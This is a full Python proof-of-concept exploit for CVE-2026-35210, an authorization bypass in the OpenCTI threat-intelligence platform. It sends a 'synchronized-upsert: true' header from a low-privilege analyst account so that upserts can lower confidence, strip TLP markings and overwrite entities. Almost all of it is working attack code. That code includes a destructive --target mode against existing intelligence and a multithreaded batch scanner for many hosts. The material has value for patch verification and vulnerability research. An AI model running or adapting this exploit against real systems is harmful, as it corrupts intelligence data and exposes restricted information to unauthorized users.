📄 OpenCTI 7.260325.0 Authorization Bypass

#!/usr/bin/env python3
    """
    CVE-2026-35210 - OpenCTI authorization bypass via the `synchronized-upsert` HTTP header
    Affected: OpenCTI (opencti-graphql) < 7.260326.0
    Type: Authorization Bypass (CWE-639 / CWE-863) - confidence-level and object-marking
          guardrail bypass leading to integrity loss and re-exposure of restricted intelligence
    
    OpenCTI reserves a privileged "full synchronization" upsert mode for its internal worker
    identity. Before 7.260326.0 that mode is switched on by a request header, and the header is
    copied into the authorization context *before* the caller is authenticated, so no capability
    is ever checked. Any account holding KNOWLEDGE_KNUPDATE (the baseline analyst capability)
    can send it and thereby:
    
      * overwrite attributes of intelligence whose confidence is above their own ceiling
      * REPLACE (not merely ADD to) the objectMarking set, i.e. strip TLP:RED / downgrade to
        TLP:CLEAR, making restricted objects readable by principals with no clearance
      * destructively rename entities instead of preserving the old name as an alias
    
    The bypass is reached through an *Add* mutation, not an *EditField* mutation: OpenCTI
    deduplicates on creation, so "create a Malware named X" where X already exists is silently
    routed into upsertElement(), and the header decides whether that upsert respects the
    guardrails. Both requests return HTTP 200 with no GraphQL error - only the persisted state
    differs. That silence is why this needs a control run to demonstrate.
    
    Detection is a paired A/B test:
      1. send the degrading upsert WITHOUT the header  -> state must be unchanged (guardrail held)
      2. send the identical upsert WITH the header     -> state changes  (guardrail bypassed)
    A target is vulnerable only if run 1 changes nothing and run 2 changes something.
    
    By default the exploit operates on its own freshly created canary entity, so it proves
    exploitability without degrading any real intelligence on the target platform. Point it at
    existing data with --target only when the engagement authorizes destructive proof.
    
    Requires credentials for any low-privileged account (KNOWLEDGE_KNUPDATE). That is the
    vulnerability's own precondition, not a limitation of this tool.
    
    Usage:
      python exploit.py --host 192.168.1.10 --port 8080 --username [email protected] --password 'Pass123'
      python exploit.py --host https://opencti.corp.com --username [email protected] --password 'Pass123'
      python exploit.py --host https://opencti.corp.com/public/graphql --token <api-token>
      python exploit.py --host 10.0.0.5 --username [email protected] --password 'Pass123' \
                        --target "APT28 Dropper"      # DESTRUCTIVE: degrades existing intelligence
      python exploit.py --list targets.txt --workers 20 --username [email protected] --password 'Pass123'
    """
    
    import argparse
    import json
    import random
    import ssl
    import sys
    import urllib.error
    import urllib.request
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-35210"
    VULN_TYPE = "Authorization Bypass"
    
    DEFAULT_PORT = 8080
    DEFAULT_PATH = "/graphql"
    
    # The platform compares with `req.headers['synchronized-upsert'] === 'true'`, so the value
    # must be exactly this lowercase string. 'True', '1' and 'yes' are silent no-ops.
    SYNC_HEADER = "synchronized-upsert"
    SYNC_VALUE = "true"
    
    # Introspection is disabled by default on OpenCTI, so every document is hard-coded.
    Q_LOGIN = "mutation ($input: UserLoginInput!) { token(input: $input) }"
    Q_ME = ("query { me { id name user_email effective_confidence_level { max_confidence } "
            "capabilities { name } } about { version } }")
    Q_MARKINGS = ("query { markingDefinitions(first: 200) { edges { node "
                  "{ id standard_id definition definition_type x_opencti_order } } } }")
    Q_ADD = ("mutation ($input: MalwareAddInput!) { malwareAdd(input: $input) "
             "{ id standard_id name confidence description objectMarking { standard_id definition } } }")
    Q_READ_FILTER = ("query ($name: Any!) { malwares(filters: { mode: and, filters: "
                     "[{ key: [\"name\"], values: [$name] }], filterGroups: [] }, first: 20) "
                     "{ edges { node { id standard_id name confidence description "
                     "objectMarking { standard_id definition } } } } }")
    Q_READ_SEARCH = ("query ($search: String) { malwares(search: $search, first: 50) "
                     "{ edges { node { id standard_id name confidence description "
                     "objectMarking { standard_id definition } } } } }")
    Q_DELETE = "mutation ($id: ID!) { malwareEdit(id: $id) { delete } }"
    
    TAMPER_DESCRIPTION = "tampered via CVE-2026-35210"
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    class TargetError(Exception):
        """Anything that stops the A/B test from running to a verdict."""
    
    
    class OpenCTIClient:
        """Minimal GraphQL client. Network I/O only - no assumptions about the target host."""
    
        def __init__(self, host, port, use_tls, path=DEFAULT_PATH, timeout=60, insecure=False):
            scheme = "https" if use_tls else "http"
            self.label = f"{scheme}://{host}:{port}"
            self.url = f"{scheme}://{host}:{port}{path}"
            self.timeout = timeout
            self.cookie = None
            self.bearer = None
            self.version = None
            if use_tls and insecure:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                self.ssl_context = ctx
            else:
                self.ssl_context = None
    
        def gql(self, query, variables=None, sync_upsert=False):
            """POST one GraphQL document. Returns (data, errors, status). Never raises on a
            GraphQL-level error - only on transport failures."""
            body = json.dumps({"query": query, "variables": variables or {}}).encode()
            req = urllib.request.Request(self.url, data=body, method="POST")
            req.add_header("Content-Type", "application/json")
            req.add_header("Accept", "application/json")
            if self.bearer:
                req.add_header("Authorization", "Bearer " + self.bearer)
            if self.cookie:
                req.add_header("Cookie", self.cookie)
            if sync_upsert:
                req.add_header(SYNC_HEADER, SYNC_VALUE)
            try:
                kwargs = {"timeout": self.timeout}
                if self.ssl_context is not None:
                    kwargs["context"] = self.ssl_context
                with urllib.request.urlopen(req, **kwargs) as resp:
                    raw, status, headers = resp.read(), resp.getcode(), resp.headers
            except urllib.error.HTTPError as e:
                raw, status, headers = e.read(), e.code, e.headers
            except Exception as e:
                raise TargetError(f"unreachable ({e.__class__.__name__}: {e})")
            try:
                out = json.loads(raw.decode("utf-8", "replace"))
            except ValueError:
                snippet = raw[:120].decode("utf-8", "replace").replace("\n", " ")
                raise TargetError(f"non-JSON response from {self.url} (HTTP {status}): {snippet}")
            set_cookie = headers.get("Set-Cookie")
            if set_cookie and "opencti_session" in set_cookie:
                self.cookie = set_cookie.split(";")[0]
            return out.get("data"), out.get("errors"), status
    
        def login(self, username, password):
            # The `token` mutation is @public. It answers null for accounts without API-token
            # rights, but still issues the opencti_session cookie, which is what we keep.
            data, errors, _ = self.gql(Q_LOGIN, {"input": {"email": username, "password": password}})
            if not self.cookie:
                raise TargetError("login failed: " + err_text(errors, "no opencti_session cookie issued"))
            return data
    
        def whoami(self):
            data, errors, _ = self.gql(Q_ME)
            if not data or not data.get("me"):
                raise TargetError("authentication rejected: " + err_text(errors, "me{} returned null"))
            self.version = (data.get("about") or {}).get("version")
            return data["me"]
    
        def find_malware(self, name):
            """Exact-name lookup. Tries the structured filter first, falls back to full-text
            search, because the Filter input shape has drifted between OpenCTI majors."""
            wanted = name.strip().lower()
            for query, variables in ((Q_READ_FILTER, {"name": name}), (Q_READ_SEARCH, {"search": name})):
                data, errors, _ = self.gql(query, variables)
                if errors and not data:
                    continue
                edges = ((data or {}).get("malwares") or {}).get("edges") or []
                for edge in edges:
                    node = edge.get("node") or {}
                    if (node.get("name") or "").strip().lower() == wanted:
                        return node
                if edges:
                    return None
            return None
    
        def upsert(self, payload, sync_upsert):
            data, errors, status = self.gql(Q_ADD, {"input": payload}, sync_upsert=sync_upsert)
            return (data or {}).get("malwareAdd"), errors, status
    
    
    def err_text(errors, fallback="no error returned"):
        if not errors:
            return fallback
        parts = []
        for e in errors[:3]:
            msg = e.get("message", "?")
            code = ((e.get("extensions") or {}).get("code")) or e.get("name")
            parts.append(f"{msg}{' [' + code + ']' if code else ''}")
        return "; ".join(parts)
    
    
    def snapshot(node):
        """The three observable fields the guardrails protect, normalised for comparison."""
        if not node:
            return None
        return {
            "standard_id": node.get("standard_id"),
            "confidence": node.get("confidence"),
            "description": node.get("description"),
            "markings": sorted(m.get("definition") for m in (node.get("objectMarking") or [])),
        }
    
    
    def describe(state):
        if not state:
            return "not visible"
        marks = ", ".join(state["markings"]) if state["markings"] else "none"
        return f"confidence={state['confidence']} markings=[{marks}] description={state['description']!r}"
    
    
    def pick_marking(client):
        """Highest-ranked marking the account can see - the most convincing one to strip.
        Returns (standard_id, definition) or (None, None) if markings are unavailable."""
        data, _errors, _ = client.gql(Q_MARKINGS)
        edges = ((data or {}).get("markingDefinitions") or {}).get("edges") or []
        nodes = [e.get("node") or {} for e in edges]
        nodes = [n for n in nodes if n.get("standard_id")]
        if not nodes:
            return None, None
        tlp = [n for n in nodes if (n.get("definition_type") or "").upper() == "TLP"]
        pool = tlp or nodes
        best = max(pool, key=lambda n: n.get("x_opencti_order") or 0)
        return best.get("standard_id"), best.get("definition")
    
    
    def run_ab_test(client, opts, say):
        """Core A/B test. `say` receives progress lines; it prints in single-target mode and is
        a no-op in scan mode. Returns (success, evidence, detail) where detail carries the raw
        responses for reporting."""
        detail = {}
    
        if opts.get("token"):
            client.bearer = opts["token"]
        else:
            client.login(opts["username"], opts["password"])
        me = client.whoami()
        caps = [c.get("name") for c in (me.get("capabilities") or [])]
        ceiling = (me.get("effective_confidence_level") or {}).get("max_confidence")
        detail["identity"] = {"user": me.get("user_email") or me.get("name"), "capabilities": caps,
                              "max_confidence": ceiling, "version": client.version}
        say(2, f"Authenticated as {me.get('user_email')} - capabilities {caps}, "
               f"max_confidence {ceiling}, platform {client.version}")
        if "BYPASS" in caps:
            raise TargetError("account holds BYPASS; it is *allowed* to use the header, so the "
                              "test proves nothing - use a plain KNOWLEDGE_KNUPDATE account")
        if "KNOWLEDGE_KNUPDATE" not in caps:
            raise TargetError("account lacks KNOWLEDGE_KNUPDATE; it cannot reach the upsert path")
    
        # -- pick or create the object the A/B test operates on -----------------------------
        if opts.get("target"):
            name = opts["target"]
            say(3, f"Using existing entity {name!r} (DESTRUCTIVE mode)")
            node = client.find_malware(name)
            if not node:
                raise TargetError(f"no Malware named {name!r} is readable by this account")
            canary_id = None
        else:
            name = "ALIM-{}-{:08x}".format(CVE_ID, random.getrandbits(32))
            marking_id, marking_label = pick_marking(client)
            say(3, f"Creating canary entity {name!r}"
                   + (f" marked {marking_label}" if marking_label else " (no marking available)"))
            payload = {"name": name, "description": "canary baseline", "confidence": 100}
            if marking_id:
                payload["objectMarking"] = [marking_id]
            node, errors, _ = client.upsert(payload, sync_upsert=False)
            if not node:
                raise TargetError("canary creation failed: " + err_text(errors))
            canary_id = node.get("id")
        detail["canary_id"] = canary_id
        detail["entity_name"] = name
    
        before = snapshot(client.find_malware(name) or node)
        if not before:
            raise TargetError(f"entity {name!r} is not readable after creation")
        detail["before"] = before
        say(4, f"Baseline persisted state: {describe(before)}")
    
        # The guardrails can only be observed if there is something for them to protect: the
        # incoming confidence must be strictly below the existing one, and/or a marking must
        # exist that a REPLACE could strip.
        degraded = opts.get("confidence", 1)
        conf_signal = isinstance(before["confidence"], int) and before["confidence"] > degraded
        mark_signal = bool(before["markings"])
        if not conf_signal and not mark_signal:
            raise TargetError(
                f"no guardrail is engaged on {name!r} (confidence {before['confidence']}, no markings) "
                "- nothing would distinguish a bypass from a legitimate edit")
    
        payload = {"name": name, "confidence": degraded, "description": TAMPER_DESCRIPTION}
        if mark_signal:
            # Empty list: inputResolveRefs skips it for ref resolution but leaves the key in the
            # patch, so the REPLACE branch fires with an empty ref list and deletes every marking.
            payload["objectMarking"] = []
        detail["payload"] = payload
    
        # -- run 1: control, no header ------------------------------------------------------
        say(5, "Control run: identical degrading upsert WITHOUT the header")
        node_ctl, err_ctl, status_ctl = client.upsert(payload, sync_upsert=False)
        detail["control_response"] = {"status": status_ctl, "data": node_ctl, "errors": err_ctl}
        after_ctl = snapshot(client.find_malware(name))
        detail["after_control"] = after_ctl
        say(5, f"  -> HTTP {status_ctl}, errors={err_text(err_ctl, 'none')}; state: {describe(after_ctl)}")
    
        if after_ctl is None:
            raise TargetError("entity disappeared after the control run")
        if after_ctl != before:
            return False, ("control run already changed the entity - the confidence/marking "
                           "guardrails are not engaged for this account, so no bypass is "
                           "demonstrable here"), detail
    
        # -- run 2: exploit, one extra header ------------------------------------------------
        say(6, f"Exploit run: byte-identical request plus '{SYNC_HEADER}: {SYNC_VALUE}'")
        node_exp, err_exp, status_exp = client.upsert(payload, sync_upsert=True)
        detail["exploit_response"] = {"status": status_exp, "data": node_exp, "errors": err_exp}
        after_exp = snapshot(client.find_malware(name))
        detail["after_exploit"] = after_exp
        say(6, f"  -> HTTP {status_exp}, errors={err_text(err_exp, 'none')}; state: {describe(after_exp)}")
    
        if after_exp is None:
            # A patched build can reject the whole request on the bearer-token route, which
            # leaves the session unauthenticated rather than merely ignoring the header.
            return False, ("entity unreadable after the header run: " + err_text(err_exp, "no error") +
                           " - consistent with a patched platform rejecting the header"), detail
    
        if after_exp == before:
            return False, ("header ignored - state identical after both runs "
                           f"({describe(before)}); platform reports version {client.version}, "
                           "patched (>= 7.260326.0) or otherwise not vulnerable"), detail
    
        if after_exp["standard_id"] != before["standard_id"]:
            return False, ("a different entity was written (standard_id changed) - the name did "
                           "not collide with the target, so this was a creation, not an upsert"), detail
    
        changes = []
        if after_exp["confidence"] != before["confidence"]:
            changes.append(f"confidence {before['confidence']} -> {after_exp['confidence']}")
        if after_exp["markings"] != before["markings"]:
            changes.append("markings [{}] -> [{}]".format(", ".join(before["markings"]) or "-",
                                                          ", ".join(after_exp["markings"]) or "-"))
        if after_exp["description"] != before["description"]:
            changes.append(f"description {before['description']!r} -> {after_exp['description']!r}")
        detail["changes"] = changes
    
        evidence = ("'{}: {}' bypassed authorization for {} (max_confidence {}, no BYPASS): {} on {} "
                    "- the identical request without the header changed nothing").format(
            SYNC_HEADER, SYNC_VALUE, detail["identity"]["user"], ceiling, "; ".join(changes), name)
        return True, evidence, detail
    
    
    def cleanup(client, detail, say):
        """Best-effort removal of the canary. A KNOWLEDGE_KNUPDATE-only account cannot delete,
        so this usually fails - report it rather than pretend the platform was left clean."""
        canary_id = detail.get("canary_id")
        if not canary_id:
            return None
        data, errors, _ = client.gql(Q_DELETE, {"id": canary_id})
        if ((data or {}).get("malwareEdit") or {}).get("delete"):
            say(7, f"Canary {detail['entity_name']} deleted")
            return True
        say(7, f"Canary {detail['entity_name']} could NOT be deleted ({err_text(errors)}) "
               "- it remains on the platform; remove it manually")
        return False
    
    
    def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, **kwargs):
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        opts = kwargs
        try:
            client = OpenCTIClient(host, port, use_tls, path,
                                   timeout=opts.get("timeout", 60), insecure=opts.get("insecure", False))
            success, evidence, detail = run_ab_test(client, opts, lambda *a: None)
            if opts.get("do_cleanup", True):
                try:
                    cleanup(client, detail, lambda *a: None)
                except Exception:
                    pass
            return success, evidence
        except TargetError as e:
            return False, str(e)
        except Exception as e:
            return False, f"error ({e.__class__.__name__}: {e})"
    
    
    def _parse_target(line: str, default_port: int, default_path: str = DEFAULT_PATH):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, path, **kwargs)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(host, port, use_tls, path, opts):
        header(host, port)
        client = OpenCTIClient(host, port, use_tls, path,
                               timeout=opts["timeout"], insecure=opts["insecure"])
        step(1, f"Authenticating against {client.url}")
        try:
            success, evidence, detail = run_ab_test(client, opts, step)
        except TargetError as e:
            section("ABORTED", str(e))
            done(False, str(e))
    
        section("BASELINE STATE", json.dumps(detail.get("before"), indent=2))
        section("UPSERT PAYLOAD (sent twice, identical)", json.dumps(detail.get("payload"), indent=2))
        section("CONTROL RUN - no header (server response)",
                json.dumps(detail.get("control_response"), indent=2))
        section("STATE AFTER CONTROL RUN", json.dumps(detail.get("after_control"), indent=2))
        section("EXPLOIT RUN - synchronized-upsert: true (server response)",
                json.dumps(detail.get("exploit_response"), indent=2))
        section("STATE AFTER EXPLOIT RUN", json.dumps(detail.get("after_exploit"), indent=2))
        if detail.get("changes"):
            section("PERSISTED CHANGES ATTRIBUTABLE TO THE HEADER ALONE",
                    "\n".join("* " + c for c in detail["changes"]))
    
        if opts["do_cleanup"]:
            try:
                cleanup(client, detail, step)
            except TargetError as e:
                step(7, f"Cleanup skipped: {e}")
    
        done(success, evidence)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/graphql)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help=f"Default port (default: {DEFAULT_PORT})")
        parser.add_argument("--username", default="[email protected]",
                            help="Account to authenticate as - any KNOWLEDGE_KNUPDATE user (default: [email protected])")
        parser.add_argument("--password", default="AnalystPass123",
                            help="Password for --username (default: AnalystPass123)")
        parser.add_argument("--token", default=None,
                            help="API token to use instead of --username/--password")
        parser.add_argument("--target", default=None,
                            help="Name of an existing Malware entity to degrade. DESTRUCTIVE. "
                                 "Omit to run against a self-created canary entity (default)")
        parser.add_argument("--confidence", type=int, default=1,
                            help="Degraded confidence value to write (default: 1)")
        parser.add_argument("--no-cleanup", action="store_true",
                            help="Keep the canary entity instead of attempting to delete it")
        parser.add_argument("--timeout", type=int, default=60, help="Per-request timeout (default: 60)")
        parser.add_argument("--insecure", action="store_true", help="Skip TLS certificate verification")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        opts = {
            "username": args.username,
            "password": args.password,
            "token": args.token,
            "target": args.target,
            "confidence": args.confidence,
            "timeout": args.timeout,
            "insecure": args.insecure,
            "do_cleanup": not args.no_cleanup,
        }
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, **opts)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, DEFAULT_PATH)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, path, opts)